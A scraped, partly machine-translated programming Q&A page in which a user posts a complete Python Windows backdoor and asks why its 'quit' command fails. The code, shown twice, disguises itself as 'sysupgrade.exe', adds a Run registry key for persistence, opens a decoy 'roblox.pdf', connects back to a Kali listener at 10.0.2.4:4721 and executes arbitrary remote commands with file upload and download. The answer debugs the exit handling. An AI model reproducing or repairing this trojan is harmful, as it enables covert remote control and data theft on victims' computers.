英文:
OSError: [WinError 10038] An operation was attempted on something that is not a socket when trying to quit
问题
I see you're encountering an issue when using the socket-based code you provided. To help you with this issue, here's the translated version of your code:
import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys
class Registry:
def __init__(self):
self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
self.added_file = sys._MEIPASS + "\\roblox.pdf"
def add_to_registry(self):
if not os.path.exists(self.new_file):
shutil.copyfile(sys.executable, self.new_file)
regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
subprocess.call(regedit_command, shell=True)
def open_added_file(self):
subprocess.Popen(self.added_file, shell=True)
def start_registry(self):
self.add_to_registry()
self.open_added_file()
class MySocket:
def __init__(self, ip, port):
self.my_connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.my_connection.connect((ip, port))
def json_send(self, data):
json_data = simplejson.dumps(data)
self.my_connection.send(json_data.encode("utf-8"))
def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024).decode()
return simplejson.loads(json_data)
except ValueError:
continue
def command_execution(self, command):
return subprocess.check_output(command, shell=True)
def execute_cd_command(self, directory):
os.chdir(directory)
return "Cd to " + directory
def read_file(self, path):
with open(path, "rb") as my_file:
return base64.b64encode(my_file.read())
def save_file(self, path, content):
with open(path, "wb") as my_file:
my_file.write(base64.b64decode(content))
return "Upload OK!"
def start_socket(self):
while True:
command = self.json_receive()
try:
if command[0] == "quit":
self.my_connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_output = self.execute_cd_command(command[1])
elif command[0] == "download":
command_output = self.read_file(command[1])
elif command[0] == "upload":
command_output = self.save_file(command[1], command[2])
else:
command_output = self.command_execution(command)
except Exception:
command_output = "Error!"
self.json_send(command_output)
self.my_connection.close()
my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4", 4721)
my_socket_object.start_socket()
Regarding the "quit" issue, it's not entirely clear from the code provided what might be causing the problem. You mentioned that you started encountering this issue after adding the Registry
class. Please provide more specific details about the error message you're receiving when you send "quit" so that I can better assist you in resolving the issue.
英文:
import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys
class Registry:
def __init__(self):
self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
self.added_file = sys._MEIPASS + "\\roblox.pdf"
def add_to_registry(self):
if not os.path.exists(self.new_file):
shutil.copyfile(sys.executable,self.new_file)
regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
subprocess.call(regedit_command, shell=True)
def open_added_file(self):
subprocess.Popen(self.added_file, shell=True)
def start_registry(self):
self.add_to_registry()
self.open_added_file()
class MySocket:
def __init__(self,ip,port):
self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.my_connection.connect((ip,port))
def json_send(self, data):
json_data = simplejson.dumps(data)
self.my_connection.send(json_data.encode("utf-8"))
def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024).decode()
return simplejson.loads(json_data)
except ValueError:
continue
def command_execution(self,command):
return subprocess.check_output(command, shell=True)
def execute_cd_command(self,directory):
os.chdir(directory)
return "Cd to " + directory
def read_file(self,path):
with open(path,"rb") as my_file:
return base64.b64encode(my_file.read())
def save_file(self,path,content):
with open(path,"wb") as my_file:
my_file.write(base64.b64decode(content))
return "Upload OK!"
def start_socket(self):
while True:
command = self.json_receive()
try:
if command[0] == "quit":
self.my_connection.close()
exit()
elif command[0] == "cd" and len(command) > 1 :
command_output = self.execute_cd_command(command[1])
elif command[0] == "download":
command_output = self.read_file(command[1])
elif command[0] == "upload":
command_output = self.save_file(command[1],command[2])
else:
command_output = self.command_execution(command)
except Exception:
command_output = "Error!"
self.json_send(command_output)
self.my_connection.close()
my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4",4721)
my_socket_object.start_socket()
I run this socket in my windows and i run a program that listening this socket in kali linux. When i write quit i am getting this error. Normally i wasnt getting this error but when i added class Registry i started to get this error before that when i wrote quit i could quit both programs.Can anyone help me please?
答案1
得分: 0
这是你的全局try/except
。exit()
函数引发了一个异常,你正在捕获它,从而阻止了退出。然后你尝试发送错误输出,但失败了。只需在'quit'
处理程序中用break
替换这两行。让函数的清理部分来关闭。
英文:
It's your global try/except
. The exit()
function raises an exception, which you are catching, thereby stopping the exit. You then try to send the error output, which fails. Just replace the two lines in the 'quit'
handler with break
. Let the function clean-up do the close.
通过集体智慧和协作来改善编程学习和解决问题的方式。致力于成为全球开发者共同参与的知识库,让每个人都能够通过互相帮助和分享经验来进步。
评论